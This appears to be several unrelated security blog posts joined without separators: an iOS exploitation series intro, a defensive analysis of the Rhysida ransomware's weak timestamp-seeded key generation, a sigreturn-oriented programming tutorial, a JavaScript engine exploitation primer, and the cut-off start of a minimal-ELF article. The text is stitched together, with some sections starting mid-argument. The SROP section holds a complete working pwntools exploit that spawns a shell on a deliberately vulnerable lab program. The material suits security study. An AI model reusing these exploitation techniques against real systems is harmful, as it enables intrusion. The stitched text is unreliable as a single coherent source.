In order it is one argument, built the way the device is. Out of order works too: each post stands on its own, glosses its terms, and links back to the one that introduced them. It assumes C, enough ARM64 assembly to read a function, and a disassembler you are comfortable in. It assumes nothing about Apple platforms.

Nine of the ten carry a section headed Hands-on, and none of them needs a jailbroken device or a Corellium instance. They run on an Apple silicon Mac with stock macOS and System Integrity Protection left on, plus the Xcode command line tools, and ipsw and pyimg4 for the firmware side. The transcripts were taken on macOS 26.4.1, so re-run them rather than quote them.

What changed since 2021

If your model of this stack dates from iOS 14 or 15, five things have changed under it.

• kalloc_type (#7), iOS 15 and wider in iOS 16, sorts the heap by the type signature of each allocation, so freeing an object and taking its slot with a different one stops working by default.
• SPTM and TXM (#9) replaced PPL, the Page Protection Layer, from iOS 17 and macOS 14, on A15 and later and on every Mac except the one built around the base M1. The kernel now calls two monitors instead of doing that work itself.
• Memory Integrity Enforcement (#9), the synchronous memory tagging announced in September 2025, ships on the A19 and A19 Pro from iOS 26 and on the M5 from macOS 26. Many linear overflows and use-after-frees now fault at the write.
• Credentials (#2) are out of reach of a plain write. The pointer to them moved into the read-only proc_ro back in the iOS 15 and macOS 12 generation, and the credential itself now comes from the read-only allocator.
• Launch constraints (#3), iOS 16, bind each system binary to the one context it may be launched from, which killed two old signing tricks: repurposing a privileged helper, and reusing an old Apple-signed binary.

What is out of scope

This is the local story: an attacker who already has code running on the device, working from a sandbox towards the kernel.

The remote entry points are deliberately absent. WebKit and JavaScriptCore for the one-click case, iMessage, BlastDoor and the image parsers for the zero-click case, baseband and Wi-Fi for the over-the-air case. So is the Secure Enclave, which is closed enough to want a post to itself. They are a second season. The closest thing already here is the post on JavaScript engine exploitation, which works at engine level rather than on iOS.

Where this leaves us

One dependency runs through all of it. A third-party app gets the same container profile as every other one, and what widens it is entitlements that only mean anything because AMFI validated the signature carrying them, which in turn only means anything because the kernel enforcing it booted from a verified chain. That is why the layer a bug lands in usually says more about what it is worth than the corruption does.

An index is a menu. The parts that matter are the details it leaves out: which field of which struct, which OS version turned a technique off. The chain of trust is where that starts.

Notes and sources

Everything in the series is drawn from open source, vendor documentation, published research, and a Mac running a stock, unmodified macOS. Four references sit behind all ten posts.

• Apple, Apple Platform Security, the vendor’s description of the boot chain, code signing and the hardware mitigations, and the only source for intent as opposed to behaviour.
• Apple, the XNU source, where a question about a struct layout, a return value or a version boundary gets settled. Several corrections in this series came from a header rather than a write-up.
• Jonathan Levin, *OS Internals, Volume II for kernel mode and Volume III for security, at a depth no blog post reaches.
• ipsw by blacktop and pyimg4 by m1stadev, which turn an Apple firmware image into files you can read, and where the firmware-side hands-on sections start.

Rhysida is a ransomware-as-a-service group that has been active since around May 2023 and has since claimed 250+ victims across healthcare, education, and government, mostly in the US and Europe.

I found a cryptographic flaw in its encryption back in May 2023, just weeks after the ransomware first surfaced, but NDA constraints meant I couldn’t publish until now.

The flaw: its file-encryption keys are derived from a timestamp-seeded RNG, so they can be regenerated and the files recovered. I confirmed it across sixteen versions and built a C decryptor that handles all of them. The PowerShell version of the ransomware fixes the flaw. Full technical breakdown below.

Rhysida exists in several forms, written in different languages and compiled for different architectures. This write-up focuses on the sample below, which we treat as the version 0 reference, the earliest one we observed:

SHA-256: a864282fea5a536510ae86c77ce46f7827687783628e4f2ceb5bf2c41b8cd3c6

Static analysis of the Rhysida encryptor

This version of Rhysida ships with debugging symbols, which makes it considerably easier to analyze. It’s also the sample I built the decryptor against, I then adapted it to the other versions as they appeared. We’ll walk through that adaptation process too, and to keep things readable we’ll only cover the parts of the binary that actually matter.

Entry point and initialization

Execution drops into the encryptor through main, which sets everything up before any of the victim’s files get touched. The first disassembled block is already a goldmine, two things jump out:

srand is seeded with time(0). The PRNG is initialized straight from the current timestamp. This is the crux of the whole vulnerability, and we’ll come back to it.

A call to GetSystemInfo, then a read of sysinfo.dwNumberOfProcessors. Rhysida grabs the number of logical processors on the victim’s machine and stashes it in a global, PROCS, which it uses later to parallelize the encryption.

Next we see a loop that runs a counter up to the number of logical processors found earlier, spawning a new thread for each one. Each thread is later used to generate the file encryption keys asynchronously.

This is exactly why we need to know the victim machine’s logical processor count to decrypt the files, but that number is usually standard and easy to guess (4, 8, 16, 32, 64…). We’ll dig into this in the decryptor development section.

Once the thread-spawning loop is done, the program calls an internal function named parseOptions, which parses the arguments the attacker passed to the program, used to toggle certain internal options of the encryptor or switch its operating mode.

Two parameters in particular stand out:

-d, lets the attacker point the program at a specific directory. The path is stored in a directory_modifier variable, whose value then gets written into the program’s internal options.

-sr, tells the program to delete itself once it’s done running. The boolean is held in a self_remove_modifier variable and likewise written into the internal options.

To sum up, the decompiled C pseudocode of parseOptions looks roughly like this:

You can clearly see the comparisons against the "-d" and "-sr" strings, along with the storage of any attacker-supplied parameter values into the program’s internal options.

Likewise, here’s the C pseudocode for the start of main analyzed earlier, the srand call seeding the PRNG, GetSystemInfo for the processor count, the for loop that spins up the threads, and the parseOptions call:

Initializing the encryptor’s cryptographic parameters

Further along the execution flow, we hit a series of routines that initialize the encryptor’s cryptographic parameters.

init_prng initializes the pseudo-random number generator. We’ll come back to this later in the write-up.

rsa_import imports, among other things, a public RSA key referenced earlier in the code, along with its size. This public RSA key is hardcoded into the encryptor.

register_cipher then find_cipher are called in succession to set up the AES cipher mode.

register_hash, chc_register then find_hash are called in succession to set up the hash function used.

Walking the file system

The program then moves on to walking the system’s files, through a parent function openDirectoryNR that takes the path of the directory to recurse into. Its prototype is:

void __cdecl openDirectoryNR(char *directory_name);

How directories are selected

The argument, the full path to the directory to walk and encrypt, depends on the -d option the attacker passes to the program. As seen earlier, this option sets a target folder to encrypt. For example, -d C:\Users\test\Downloads tells the program to encrypt only the Downloads folder of the user test. If no -d parameter is given, the entire disk is walked and encrypted by default. Here’s what that looks like in C pseudocode:

If the internal directory option doesn’t exist (meaning no -d was used at launch, which is the default behavior), the program iterates over every letter from A to Z and tries to recursively encrypt every drive mounted on the system: A:, B:, C:, and so on. If a mount point doesn’t exist, it’s skipped and the encryptor moves to the next letter. So the main system drive, often C:, gets encrypted, along with any other data disks and mounted external storage (D:, E:, …).

For simplicity we won’t break down openDirectoryNR in detail. It’s just a file-traversal function: it works through a queue holding the folders to visit one after another, while regular files are pulled out of the traversal and added to a global array named QUERY_FILE_POSS by the addFileToQueue function.

Excluded directories

Some folders are skipped by the encryptor, via an array of directory paths named exclude_directories that the isDirectoryExcluded function checks against. These are mostly system and boot directories: leaving them untouched keeps the machine bootable and usable enough for the victim to actually read the ransom note and pay.

Once the integer array is exported and converted back to strings, we get the following excluded paths:

/$Recycle.Bin
/Boot
/Documents and Settings
/PerfLogs
/Program Files
/Program Files (x86)
/ProgramData
/Recovery
/System Volume Information
/Windows
/$RECYCLE.BIN

Encrypting files

Across multiple threads, one per logical processor on the system, the processFiles function is called to handle the files assigned to each thread. It walks the array of files to encrypt, extracts the file path’s name, checks whether the file is actually a legitimate target with isFileExcluded, and encrypts it where appropriate with processFileEnc.

Excluded files

Some files are left out of encryption too. In isFileExcluded we see filtering on file extensions, driven by an integer array exclude_extensions that holds the extensions to skip. As with the excluded directories, these are mostly executables and system files: encrypting them would risk breaking the OS and leaving the machine unbootable, which works against the attacker’s goal of a recoverable, ransom-payable system.

Just like the previous array, once exported and converted to strings, we get the list of file extensions Rhysida will not encrypt:

.bat
.bin
.cab
.cmd
.com
.cur
.diagcab
.diagcfg
.diagpkg
.drv
.dll
.exe
.hlp
.hta
.ico
.lnk
.msi
.ocx
.ps1
.psm1
.scr
.sys
.ini
Thumbs.db
.url
.iso

A quirk in the random number generation

Before getting into the encryption process itself, it’s essential to understand how Rhysida generates randomness.

As briefly mentioned earlier, the init_prng function called early in execution initializes the random number generator. We see that this function is called once per thread that can run simultaneously during execution. Each thread maps to a logical processor core, which is exactly why the program needs to grab the machine’s logical processor count up front.

This function makes several calls into the external libtomcrypt library, notably the ChaCha20 random-string generation functions, but also calls to rand, which acts directly on the value passed earlier to its seeder, srand. In our case, that seed is the timestamp passed to srand at the start of the program.

The global array fed by this function, named prngs and sized to the number of processors, holds the various initialization values for the ChaCha20 random-string generator. It’s used throughout the rest of the program, in particular to generate the encryption keys.

The key thing to remember here: from one processor count to another, this array will be different, and so will the strings generated from it.

The encryption routine

Rhysida’s encryption algorithm follows a specific process that we find in every strain we analyzed. As mentioned earlier, a victim file is encrypted in the processFileEnc function, called on each targeted file in turn, taking the file path and name as its argument. we won’t detail every cryptographic function involved; to keep things simple, we’ll focus only on what’s essential to explain how the vulnerability is exploited and how the decryptor was built.

In short: the key and IV for each file are produced by a ChaCha20 string-generation function. Those values are encrypted with RSA, whose private decryption key is held solely by the attacker. The file is then encrypted with the generated key and IV using the CTR algorithm, and these RSA-encrypted values are stored at the end of the encrypted victim file. The ChaCha20, RSA, and CTR algorithms are all implementations from a single external library, libtomcrypt.

The encryption process, step by step

Here’s the path Rhysida takes to encrypt files:

Generate a 32-byte key and a 16-byte initialization vector with chacha20_prng_read. Then initialize the cipher with that key and IV using ctr_start.

Set the IV for the CTR algorithm with ctr_setiv.

Encrypt the previously generated key and IV using RSA and a public key hardcoded into the executable. The rsa_encrypt_key_ex function handles this encryption of the secrets, and the resulting encrypted values are written to the end of the victim’s file.

Encrypt the file block by block, each block going through a call to ctr_encrypt using the generated key and IV, which differ for every file.

Rhysida doesn’t encrypt the whole file if it’s larger than 1,048,576 bytes (0x100000 in hex), which is the block size the attacker uses.

See the diagram below.

C pseudocode summary of the encryption process

For a clearer picture of the process, here’s a heavily simplified C pseudocode of these operations.

Generating the key and IV:

Encrypting the key:

Writing the encrypted key:

Encrypting the IV:

Writing the encrypted IV:

Encrypting the file block by block:

The program then renames the file by appending the .rhysida extension.

Ransom note and end of execution

Once file encryption is done, the program deletes itself, but only if the attacker specified the -sr option at launch, as seen earlier in this write-up.

As encryption progresses, ransom notes in PDF format are dropped into each encrypted directory. When encryption finishes, the program updates the Windows wallpaper, replacing it with a ransom note as well, via the setBG function. Since this process isn’t essential to our analysis, we won’t go into the details.

The vulnerability and decryption

The C version of Rhysida has a vulnerability that lets us decrypt the victim’s files with no prior knowledge of the key, and with no special requirement beyond access to the victim’s machine or the encrypted files.

Explaining the vulnerability

Every bit of randomness in the encryptor comes from a single source, initialized by srand with a seed, which here is the timestamp. Using a timestamp as the seed for random generation in a cryptographic context completely undermines the resulting crypto chain and makes the encryption void and reversible.

The reason is that the keys and IVs the program generates for each file all derive from rand, which itself relies on the value handed to srand. If you call rand several times in a row while always passing the same value to srand, you’ll always get the same sequence back.

Here’s an example in C pseudocode:

srand(5);
rand(); // generated value: 42
rand(); // generated value: 77
rand(); // generated value: 92
rand(); // generated value: 8
...

Run this code several times in a row and the rand calls produce the same values every time. Knowing the value passed to srand, the seed, lets you predict every random value the program generates, including the encryption keys and IVs. And all we need to recover that value is the timestamp, even an approximate one, of when the victim’s files were encrypted.

The decryption process

The decryptor works like this:

Generate a table of keys and IVs using the timestamp as the seed, for each file and each thread, accounting for the number of logical processors. we have to assume any processor could have generated the key for any thread, so we generate enough keys and IVs to cover every possibility across all files.

Encrypt the generated keys with the RSA public key pulled from the executable, the same way Rhysida does.

Compare that encrypted key against the value stored at the end of the encrypted file, which (as a reminder) is the encrypted key Rhysida stored there. If the values match, we’ve found the right key.

Decrypt the file with the recovered key. we only need to find the correct key for a single file to automatically decrypt all the others, because successfully decrypting one file means we have the right timestamp as the RNG seed. From there it’s just a matter of testing each key in our table against the file we want to decrypt.

If we don’t know the exact timestamp, we can start from an approximate one and sweep a time window around it, decrypting part of a file each time until I land on the exact timestamp.

What’s needed for decryption

To decrypt a victim, we need the following:

• The strain that infected the victim, since we need the RSA public key it contains.
• The exact encryption timestamp.

OR

• An approximate timestamp plus an encrypted file of known extension and type whose header we can guess (.pdf, .docx, etc.).

• The approximate number of encrypted files, or an order of magnitude, in order to generate the key and IV table. This number must be greater than or equal to the number of encrypted files, never less.

• The number of logical processors on the encrypted machine.

In practice, the processor count and the number of encrypted files are easy to guess. The timestamp is the key piece.

Special cases

The PowerShell version of Rhysida we analyzed is not vulnerable to this decryption.

Conclusion

Over the course of this work, dozens of victims around the world had their files recovered and their data saved, without ever paying a ransom. For an organization hit by Rhysida, that’s often the difference between a survivable incident and a catastrophic one.

I was, in a professional capacity, the first to build a working decryptor for this ransomware, back in May 2023, just weeks after Rhysida first surfaced. The catch is that this work was bound by confidentiality, and I wasn’t in a position to disclose any of it until now. The public research that later emerged, and the decryptors built on it, arrived independently and confirmed the same underlying flaw.

I’ve made a deliberate choice not to publish my full decryptor in this post. The vulnerability is now well documented, and free decryptors built by other parties are already available to victims through nomoreransom.org, a joint initiative between law enforcement and the security industry. Anyone affected by Rhysida should start there. My goal with this write-up is to walk through the analysis and the reasoning behind the break, not to hand out another tool.

There is a shortcut, and it is almost unfair. The kernel already ships a routine whose entire job is to load every general-purpose register, plus rip and rsp, from values sitting on the stack. It does this in one syscall, it trusts the stack completely, and it never checks who put those values there. That routine is sigreturn, and bending it to our purposes is sigreturn-oriented programming. It is also, as it happens, the syscall this company is named after.

How a signal leaves the kernel

To see why sigreturn exists, follow what happens when a process receives a signal it has a handler for.

The kernel cannot just call the handler and hope the process picks up where it left off afterwards. The signal can interrupt user code at any instruction, so before transferring control the kernel has to save the entire CPU state: every general-purpose register, the instruction pointer, the stack pointer, the flags, and the floating-point state. It saves all of that into a structure called a signal frame, and it pushes that frame onto the user stack. Then it points rip at the handler and lets it run.

When the handler returns, execution does not go back to the interrupted code directly. Instead it returns into a tiny trampoline the kernel arranged for, which does nothing but invoke the sigreturn syscall. On x86-64 that trampoline is essentially:

mov rax, 15      ; __NR_rt_sigreturn
syscall

sigreturn is the other half of the dance. It takes the signal frame the kernel left on the stack, copies every saved value back into the corresponding register, and resumes the interrupted code exactly where it was. The whole point of the syscall is to restore a full register context from memory.

The detail that matters for us is what sigreturn does not do. It does not verify that the frame it reads was written by the kernel. It does not check a cookie, a signature, or where the stack pointer is. It reads the frame at the current stack pointer and restores from it, unconditionally. The kernel assumes that if sigreturn is being called, it is because the kernel itself set this up a moment earlier.

The abuse

That assumption is the whole vulnerability. If we control the contents of the stack and we can make the program call sigreturn with the stack pointer aimed at memory we wrote, then the kernel will happily restore every register from a frame we forged.

A forged frame gives us, in one step, what a long ROP chain gives us gadget by gadget: arbitrary values in rax, rdi, rsi, rdx, the rest of the general-purpose registers, and rip. We get to pick where execution goes next and what every argument register holds when it gets there. The technique was formalized by Bosman and Bos in their 2014 paper “Framing Signals”, which showed how general and how portable it is.

To pull it off we need three things:

• Control of the stack contents, so we can place the fake frame. A straightforward overflow gives us this.
• A way to invoke sigreturn, which means getting rax to 15 and reaching a syscall instruction. In practice that is a small two-gadget step: something like pop rax ; ret to load the number, then a syscall instruction to fire it.
• A known address for any data we reference, such as the /bin/sh string we want rdi to point at. A static, non-PIE binary makes this easy because addresses are fixed and glibc already carries the string /bin/sh for its own use.

That is the entire shopping list. Notice it is short, and notice that none of it depends on the binary containing the exact pop rdi / pop rsi / pop rdx gadgets a conventional chain would need. A single syscall instruction and a way to set rax are enough to set up any syscall with any arguments. That generality is what makes the technique worth knowing.

A worked example

Let us build the smallest thing that demonstrates it. Here is a deliberately vulnerable program: it reads far more bytes than the buffer holds, straight into the stack.

#include <unistd.h>

void vuln(void)
{
    char buf[64];
    read(0, buf, 1024);
}

int main(void)
{
    vuln();
    return 0;
}

We compile it static and non-PIE, with the stack canary off, so the mechanism is not buried under mitigations we are not studying here.

gcc vuln.c -o vuln -static -no-pie -fno-stack-protector

A quick look confirms what we are working with: no canary to leak, no PIE so addresses are fixed, and a static binary that drags all of glibc in with it (which means plenty of syscall instructions and the /bin/sh string are present).

$ checksec --file=vuln
RELRO      STACK CANARY    NX      PIE
Partial    No canary       NX      No PIE

We need exactly two gadgets and one string. Rather than copy addresses by hand, we let pwntools find them by searching the binary’s own bytes:

• pop rax ; ret to load the syscall number,
• syscall ; ret to fire the syscall,
• the /bin/sh string already living in glibc.

The plan on the stack, top to bottom, is: padding up to the saved return address, then pop rax ; ret followed by 15 to select rt_sigreturn, then the syscall gadget to invoke it, and finally the forged signal frame the kernel will restore from. We fill that frame to call execve("/bin/sh", NULL, NULL), sending control to the same syscall gadget once the registers are in place.

from pwn import *

context.binary = elf = ELF('./vuln')

pop_rax     = next(elf.search(asm('pop rax; ret')))
syscall_ret = next(elf.search(asm('syscall; ret')))
binsh       = next(elf.search(b'/bin/sh\x00'))

# The frame the kernel will restore: a ready-made execve("/bin/sh", 0, 0)
frame = SigreturnFrame()
frame.rax = constants.SYS_execve   # 59
frame.rdi = binsh                  # "/bin/sh"
frame.rsi = 0                      # argv = NULL
frame.rdx = 0                      # envp = NULL
frame.rip = syscall_ret            # run the execve syscall once registers are set

payload  = b'A' * 72               # 64-byte buffer + saved rbp
payload += p64(pop_rax)            # rax = 15 ...
payload += p64(15)                 #   ... __NR_rt_sigreturn
payload += p64(syscall_ret)        # syscall -> rt_sigreturn restores our frame
payload += bytes(frame)            # the forged frame itself

p = process('./vuln')
p.send(payload)
p.interactive()

Walking the chain as the CPU sees it: vuln returns into pop rax ; ret, which loads 15 and returns into the syscall gadget. That syscall is rt_sigreturn, so the kernel reads the frame we placed right after it and restores every register from it. Now rax is 59, rdi points at /bin/sh, rsi and rdx are zero, and rip is our syscall gadget again. The very next instruction is therefore execve("/bin/sh", NULL, NULL).

$ python3 exploit.py
[*] '/home/lab/vuln'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE
[+] Starting local process './vuln': pid 4711
[*] Switching to interactive mode
$ id
uid=1000(lab) gid=1000(lab) groups=1000(lab)
$ exit

One overflow, two gadgets, one forged frame, and a shell. We never needed a gadget per argument.

Finding the pieces in practice

The example handed us fixed addresses and a fat static binary. Real targets are stingier, so it helps to know where the moving parts actually come from.

The syscall instruction is rarely a problem. Anything linked against libc has many, and a static binary has them everywhere. The real question is usually how to get the syscall number into rax without a convenient pop rax. There are several answers depending on the binary: a read that lands a controlled byte in the right place, an arithmetic gadget, or chaining through a function that returns a known value into rax.

32-bit x86 deserves a special mention, because it is where SROP often looks its cleanest. The kernel’s signal trampoline lives in the vDSO, a small shared object the kernel maps into every process, exported as __kernel_sigreturn. Disassembled, it is almost a gift:

__kernel_sigreturn:
    pop    eax
    mov    eax, 0x77
    int    0x80

That is a single gadget that is a call to sigreturn. It loads eax with 0x77 (the 32-bit sigreturn number) on its own and fires the interrupt, so you do not even need a separate step to set the syscall number. Point execution at it with a forged frame waiting on the stack and the restore happens. The vDSO is at a known-ish location and contains exactly the instruction you need. It is a recurring reason the technique is so comfortable on 32-bit.

Why we care

Step back and the appeal is obvious. Conventional ROP treats the binary as a quarry and makes you mine one gadget per register. SROP treats a single, always-present kernel routine as a universal register-loading primitive. One syscall instruction, one way to set rax, and a stretch of stack you control are enough to set up any syscall you like with fully controlled arguments. The same forged frame tends to work across different binaries that share the same flaw, because it leans on the kernel’s ABI rather than on any one program’s gadgets.

A whole class of exploitation collapses into “write the registers you want onto the stack and let the kernel install them for you.” That elegance, a signal-handling convenience quietly turned into an exploitation primitive, is exactly the kind of thing we find worth naming a company after.

What is striking, once you have done it a couple of times, is how uniform the exploitation is. The engines differ in the details of how they encode a value or lay out an object, but the path from a memory bug to a shell is almost always the same four rungs: a type confusion, the addrof and fakeobj primitives, an arbitrary read/write, and finally code execution. Learn the ladder once and you can read almost any engine writeup. We build it here from the ground up on JavaScriptCore (WebKit) and V8 (Chrome), and then look at why, on a current iPhone, landing the bug is the easy part.

Why the JavaScript engine

A browser is not one program, it is a pile of them: an HTML and CSS engine, the DOM, a network stack, image and font decoders, and the JavaScript engine sitting in the middle of it all. Any of those is attack surface, but the JavaScript engine is special because the attacker gets to run code there directly, with loops, objects, and timing, rather than coaxing a parser into misbehaving from the outside.

We focus on the two engines that matter most in practice. JavaScriptCore (JSC) is WebKit’s engine, written mostly in C++, shipping not only in Safari but in anything that embeds WebKit, from game consoles to embedded dashboards. V8 is Chrome’s engine, used by Blink (which descends from WebKit’s WebCore) and by Node. SpiderMonkey, Firefox’s engine, follows the same shapes. Because the engines borrowed each other’s design, the techniques port between them with only cosmetic changes.

How values live in memory

Before corrupting anything, we have to know what the raw 64-bit words we will be reading actually mean. Both engines pack every JavaScript value into a machine word, and both do it in a way that lets them tell a pointer from a number without an extra tag byte.

JSC uses NaN-boxing. A JSValue is 64 bits, and the encoding exploits the fact that IEEE-754 doubles have a huge range of bit patterns that are all “NaN”. Roughly:

• A pointer to a heap object (a “cell”) is stored as-is. On 64-bit, valid pointers have their top 16 bits clear, so a small value at the top of the word means “this is a pointer”.
• An int32 is stored with a tag in the high bits, as 0xFFFE000000000000 | value.
• A double is stored with a constant offset of 2^49 added to its bit pattern, so that every real double lands in a band (top 16 bits between 0x0002 and 0xFFFC) that never collides with the pointer or integer encodings.

A consequence we will lean on: the encoded value 0x0 does not mean the number zero. It is the special “empty” value. The number zero is a double or a tagged integer with its own encoding. So when we read raw memory, a bare zero word is almost never a JavaScript 0. null, true, false, and undefined likewise have their own small fixed encodings.

V8 takes a different route. Small integers (SMIs) are tagged by their low bit, heap object pointers carry a different low-bit tag, and on 64-bit builds V8 uses pointer compression: the high 32 bits of every heap pointer in a given heap are constant, so they are kept once in a base register (the isolate root) and only the low 32 bits are stored in memory. To dereference a compressed pointer you take the stored 32-bit half and add the base from the register. JSC has its own constraint in the same spirit, the gigacage, which confines certain backing stores to a reserved region so a stray pointer cannot reach arbitrary memory. We will not need its internals here, only the awareness that it exists.

The object model and the butterfly

Now the object layout, because that is what we corrupt. Take an ordinary object in JSC. It begins with a structure ID, a number that names the object’s shape: which properties it has, in which order, of which types. Every object that shares a shape shares a structure ID, and the engine reuses it. Add a property, reorder them, or change a type, and the engine mints a new structure for the new shape. Structure IDs used to be handed out linearly, which made them predictable. Modern JSC throws in a few random bits, so you can no longer guess the next one.

After the structure ID and a few flag bytes comes the butterfly pointer. The butterfly is a single pointer that points into the middle of an allocation:

            butterfly
               |
               v
[ ...named properties... ][ length | capacity ][ elem 0 ][ elem 1 ][ ... ]
   grow to the LEFT          header word          grow to the RIGHT

To the right of the pointer live the indexed elements, the things you reach with obj[0], obj[1]. To the left live the out-of-line named properties, the things you set with obj.foo. Right at the boundary sits a header word holding two 32-bit fields packed into 64 bits: the public length (the array’s real length) and the vector length (its allocated capacity).

V8 expresses the same idea differently. The first field of a V8 object is its map pointer, a pointer to a Map object that describes the type and shape, followed by separate pointers to the properties and the elements. Whether the shape is named by a number (JSC’s structure ID) or by a pointer (V8’s map), the role is identical: it is the field that tells the engine “this is what kind of object I am”. Corrupt it and you have lied to the engine about a type. That is the whole game.

The bug that starts everything

Every chain begins with one memory bug in the engine. They come in many flavors, a typing mistake in the JIT optimizer, a botched bounds-check elimination, an out-of-bounds access in an array builtin, but the most productive shape is one that lets us touch a single slot just past the end of an array. Here is why that one extra slot is so valuable.

Lay out an array of doubles and look at what sits next to it in memory:

[ map / structure ][ length | capacity ][ d0 ][ d1 ][ d2 ][ d3 ][ map of the NEXT object ][ ... ]
 \______________ our float array ______________/        ^
                                                         one slot past the end

The element right after our array’s last double is the header of whatever was allocated next, including its map or structure field. If the bug lets us read or write one element beyond the bounds, we can read and, crucially, overwrite the neighbor’s map. Overwrite it with the map of a different type and the engine now treats that object as something it is not. That is a type confusion, and it is the pivot from a narrow memory bug to a general one. The specific bug only has to get us this far. From here on the recipe is engine methodology, not bug specifics.

addrof and fakeobj

Two primitives turn a type confusion into something you can program against. Neither is normally possible in JavaScript, which is the point. Both exist only because of the bug.

addrof(obj) leaks the address of a JavaScript object. You are never supposed to learn where an object lives, but with the type confusion you can. Keep two arrays, one of objects and one of doubles, side by side. Put the target object into the object array, then use the confusion to make the engine read that array as if it held doubles. Reading element zero now hands you the raw pointer bits of the object, reinterpreted as a floating-point number. Convert that back to an integer and you have the address.

The float-to-integer conversion is just two views over the same bytes:

const buf = new ArrayBuffer(8);
const f64 = new Float64Array(buf);
const u64 = new BigUint64Array(buf);

const ftoi = (f) => { f64[0] = f; return u64[0]; };   // double bits -> integer
const itof = (i) => { u64[0] = i; return f64[0]; };   // integer    -> double bits

fakeobj(addr) is the exact inverse. Instead of taking an object and revealing its address, it takes an address and hands you back a JavaScript object located there. You write the address you want as a double into a slot, then use the same confusion to make the engine treat that double as an object pointer. Now you hold a real, usable JS object whose memory you chose, and you can read and set its fields like any other.

// Sketch, not a working exploit: the confusion primitive is engine-specific.
const addr = addrof(victim);          // leak an address
const fake = fakeobj(someAddress);    // forge an object at an address we control

From fakeobj to arbitrary read and write

addrof and fakeobj are not the goal, they are the tools for building the primitive we actually want: reading and writing any 64-bit word in the address space.

The trick is to hand-build a fake object inside memory you fully control, which is easy because the contents of a float array are entirely yours. You craft a sequence of doubles that, interpreted as an object, looks like an array whose elements pointer is a value you choose. Then you fakeobj it. Reading element zero of that fake object dereferences the pointer you planted, giving you an 8-byte read at any address you like. Writing element zero writes 8 bytes there instead.

// Conceptually:
function read64(where) {
    fake_array.set_elements_pointer(where);  // forged via fakeobj over controlled doubles
    return ftoi(fake_array[0]);              // engine dereferences our pointer for us
}

function write64(where, what) {
    fake_array.set_elements_pointer(where);
    fake_array[0] = itof(what);
}

With read64 and write64 the engine bug is, in effect, fully cashed out. We have arbitrary read and write across the process, subject only to caged regions like the gigacage. Everything from here is about turning memory control into instruction-pointer control.

From read/write to code execution

Arbitrary read/write does not yet run shellcode. We need executable memory we can write to, or a function pointer we can redirect.

For years this was almost free. A JIT compiler has to produce executable code at runtime, so the engine kept memory that was both writable and executable. The classic move was to instantiate a WebAssembly module, which mapped a fresh RWX page. The contents of the module were irrelevant, you just wanted the page to exist. Then you used your write primitive to drop shellcode into it and redirected a JIT-compiled function’s code pointer at your bytes. One call later, your code ran.

That era is over. The mitigation that closed it is W^X: no page is writable and executable at the same time. The free RWX page is gone, and getting code execution after a clean read/write is now the hard part of a browser exploit, not the easy one.

The mitigations that make a working bug only the beginning

This is where a modern target, especially an Apple one, stops being mechanical. A working arbitrary read/write is necessary, but on current iOS it is nowhere near sufficient.

Bulletproof JIT (iOS 10). Apple’s first answer to writing JIT code without a permanent RWX page was to map one physical JIT page through two virtual mappings: one executable, one writable, with the writable mapping placed at an address the attacker is not supposed to know. The idea is that you can execute the code but cannot find where to write it. In practice it was not very durable, since recovering the writable mapping is enough to write your shellcode through it, but it set the direction.

APRR (hardware W^X). Newer Apple silicon enforces the split in hardware, per thread. Even a page that looks RWX is never simultaneously writable and executable when you touch it, because a per-thread permission register gates the write side off at access time. When the runtime legitimately needs to patch JIT code, a routine flips the current thread’s permission to writable, performs the copy, and flips it back. Two design choices make this miserable to abuse. First, the flip is per-thread, so you cannot run another thread into the brief writable window and race the copy. Second, the JIT memcpy is marked always_inline, so there is no tidy function pointer to jump to. It is melted into a much larger function full of other inlined routines. You can reach that big function’s entry, but you then have to survive all the way to the inlined copy at its tail with exactly the right registers set up, and there is a check that the register carrying the permission value was not tampered with along the way. Landing in the middle is a crash, not a primitive.

The split itself is enforced by a small lookup. A page’s rwx bits index into a per-thread APRR register that re-maps them to the effective permissions actually applied, and that mapping is what bakes in W^X: any entry that asks for write and execute comes back without the write bit.

The two interesting rows are the executable-and-writable ones, -wx and rwx: both lose their w in the effective column. To write into a JIT page the runtime must first flip the thread’s APRR register so that slot maps back to a writable permission, do the copy, and flip it back, which is exactly the window the inlined performJITMemcpy opens and closes.

The commpage. Both attacker and defender care about the commpage, a read-only page mapped into every process that holds frequently used routines and values. It is the Apple analogue of Windows’ KUSER_SHARED_DATA. It is also a quietly revealing artifact: Apple publishes the relevant source, but the entries at offsets 0x110 and 0x118, the ones tied to the APRR machinery, are blanked out, a literal gap in the public code. Even “open” source hides the parts you can only recover by reversing.

PAC. On top of all that, pointer authentication signs pointers with a hardware key, so you cannot forge a usable code pointer from a memory leak alone. We take it apart in a dedicated post. And even once you do achieve code execution in the renderer, you are still inside a sandbox. The second half of a real chain is escaping it.

Conclusion

The core of JavaScript engine exploitation is mechanical and remarkably uniform across engines. One memory bug becomes a type confusion, the type confusion builds addrof and fakeobj, those build arbitrary read and write, and read/write becomes, or used to easily become, code execution. The encodings change between JSC and V8, the field that names an object’s type is a number here and a pointer there, but the ladder is the same one every time.

What actually consumes the effort on a modern target is everything wrapped around that core: W^X, bulletproof JIT, APRR, pointer authentication, and the sandbox you still have to climb out of after the renderer falls. Finding and triggering the bug is the part you can teach in an afternoon. Turning it into a reliable exploit on a current iPhone is the part that is genuinely hard, and that asymmetry, a simple core wrapped in years of mitigation, is exactly what makes the work interesting.

The idea here is to understand the compilation process, linking, how loader works, how ELF file format is structured, and so on.

State of the art

So let’s simply create a program in C that outputs our string. In this default case we will not optimize anything nor try to reduce our binary size.

#include <stdio.h>

void main(void)
{
    printf("Hello world!");
}

Let’s compile it with GCC and run it:

$ gcc smallest_elf.c -o smallest_elf.bin
$ ./smallest_elf.bin
Hello world!

Initial size: 16704 bytes.

The default compiled binary is quite big for only 65 bytes of written code. Why is that? Let’s analyse out binary and check what we can remove to reduce its size.

Too many sections

.interp
.note.gnu.propert
.note.gnu.build-i
.note.ABI-tag
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt
.plt.got
.plt.sec
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.dynamic
.got
.data
.bss
.comment
.symtab
.strtab
.shstrtab

Well first of all, our binary has 30 sections inside, we don’t need all of them. We do not need relocations, symbols, or even PLT/GOT and a lot of other stuff. The compiler produced the default binary it would produce even for longer code.

Too many symbols

0000000000003dc8 d _DYNAMIC
0000000000003fb8 d _GLOBAL_OFFSET_TABLE_
